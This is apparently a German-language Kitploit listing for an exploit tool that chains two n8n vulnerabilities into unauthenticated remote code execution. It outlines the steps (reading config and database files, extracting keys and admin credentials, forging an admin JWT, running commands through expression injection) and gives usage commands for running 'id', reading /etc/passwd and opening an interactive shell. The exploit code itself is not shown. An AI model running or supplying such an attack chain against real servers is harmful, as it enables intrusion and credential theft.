CVE-2026-21858 — Exploit-Kette für nicht authentifizierte Remote-Codeausführung in n8n, die Content-Type-Verwirrung und Ausdrucksinjektion kombiniert, um Dateien zu lesen, JWTs zu fälschen und Befehle auszuführen. | Kitploit

CVE-2026-21858 + CVE-2025-68613 - n8n RCE-Exploit

Unauthentifizierte RCE-Kette für n8n < 1.121.0 (CVSS 10.0)

Angriffskette

CVE-2026-21858 - Content-Type-Verwirrung → /home/node/.n8n/config und database.sqlite lesen
Verschlüsselungsschlüssel und Admin-Anmeldedaten aus Dateien extrahieren
Admin-JWT-Token fälschen
CVE-2025-68613 - Ausdrucksinjektion → Befehle über child_process ausführen

Verwendung

# Befehl ausführen
python3 exploit.py http://target:5678 /form/test --cmd "id"

# Datei lesen
python3 exploit.py http://target:5678 /form/test --read /etc/passwd

# Interaktive Shell
python3 exploit.py http://target:5678 /form/test

CVE-2026-21858

Beliebteste

Referenzen